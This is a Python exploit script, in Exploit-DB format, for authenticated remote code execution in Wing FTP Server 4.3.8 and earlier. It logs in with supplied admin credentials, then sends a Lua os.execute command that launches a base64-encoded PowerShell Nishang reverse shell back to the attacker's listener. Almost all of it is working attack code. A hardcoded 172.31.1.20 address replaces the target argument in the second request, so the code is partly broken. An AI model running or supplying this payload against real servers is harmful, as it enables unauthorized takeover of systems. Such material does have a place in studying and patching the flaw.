# Exploit Title: Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/06/2022
# Exploit Author: notcos
# Credit: Credit goes to the initial discoverer of this exploit, Alex Haynes.
# Vendor Homepage: https://www.wftpserver.com/
# Software Link: https://www.wftpserver.com/download/WingFtpServer.exe
# Version: <=4.3.8
# Tested on: Windows
# !/usr/bin/python3
import requests
import sys
import base64
import urllib.parse
# Get command line arguments
if len(sys.argv) != 7:
print("This exploit will invoke a nishang tcp reverse shell on the target. Start your listener before executing.")
print("Usage: %s <TARGET> <TARGET_PORT> <LOCAL_IP> <LOCAL_PORT> <USER> <PASSWORD>" % sys.argv[0])
print("Example: %s 0.0.0.0 8000 127.0.0.1 9001 notcos coolpass" % sys.argv[0])
exit(1)
else:
target = sys.argv[1]
targetport = sys.argv[2]
localip = sys.argv[3]
localport = sys.argv[4]
user = sys.argv[5]
password = sys.argv[6]
print('''
.--.
/ ,~a`-,
\ \_.-"`
) ( __ __ .__ ____ __________ _________ ___________
,/ ."\ / \ / \|__| ____ / ___\ \______ \\\\_ ___ \ \_ _____/
/ ( | \ \/\/ /| | / \ / /_/ > | _// \ \/ | __)_
/ ) ; \ / | || | \ \___ / | | \\\\ \____ | \\
/ / / \__/\ / |__||___| //_____/ |____|_ / \______ //_______ /
,/_."` /` \/ \/ \/ \/ \/
/_/\ |___
`~~~~~`
''')
# Create the login request
url = 'http://' + target + ':' + targetport + '/admin_loginok.html'
data = ('username=' + user + '&password=' + password + '&username_val=' + user + '&password_val=' + password + '&su'
'bmit_btn=%2bLogin%2b')
headers = {
"User-Agent": "Googlebot"
}
# Send the POST request to log in and save the cookie
r = requests.post(url, headers=headers, data=data)
cookie = 'UIDADMIN=' + r.cookies['UIDADMIN']
print('Login successful - Cookie: ' + cookie)
url = "http://172.31.1.20:8080/admin_lua_script.html"
headers = {
"User-Agent": "Googlebot",
"Cookie": cookie,
}
# Base64 encode a nishang reverse tcp shell one liner and then url encode it
nish = ("$client = New-Object System.Net.Sockets.TCPClient(\"" + localip + "\"," + localport + ");$stream = $client"
".GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$d"
"ata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1"
" | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCI"
"I).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()")
encodedStr = str(base64.b64encode(nish.encode('UTF-16LE')), "UTF8")
urlpayload = urllib.parse.quote(encodedStr, safe='+')
finalload = "command=os.execute('powershell -Encodedcommand " + urlpayload + "')"
# Send the reverse shell payload
try:
r = requests.post(url, headers=headers, data=finalload, timeout=0.1)
except requests.exceptions.ReadTimeout:
print("The payload has been sent. Check your listener.")
pass
